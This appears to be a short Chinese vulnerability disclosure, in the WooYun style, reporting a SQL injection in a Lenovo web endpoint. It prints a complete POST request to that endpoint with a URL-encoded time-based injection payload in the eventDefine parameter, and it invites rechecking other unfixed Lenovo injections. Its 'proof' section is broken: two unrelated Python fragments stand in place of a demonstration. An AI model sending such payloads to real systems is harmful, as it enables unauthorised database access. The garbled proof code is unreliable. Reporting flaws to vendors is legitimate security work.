简要描述:

联想现有的注射还是较多的,我只挑wooyun和360上都没出现过的。 那些已被提交却仍未修复完整的,可再排查一下看看。

详细说明:

注入点:

POST http://open.lenovo.com/data/eventDefineAction.do?method=getHideEvent
eventDefine=%7B%22appKey%22%3A%22IXZ28THWMVEM%22%2C%22eventAction%22%3A%22e%25%27%20AND%20sleep%2810%29%20AND%20%27000BYIu%27%21%3D%27000BYIu%25%22%2C%22eventName%22%3A%22%22%7D&getDataTotal=1&page=1&rows=10&sortOrderBy=&sortRule=desc


参数eventDefine可注入。boolean based,尝试报错的时候似乎没显错,没详尽测试,不过bool也已经非常快了。

漏洞证明:

body = body,

print '\nMySQL user is', user
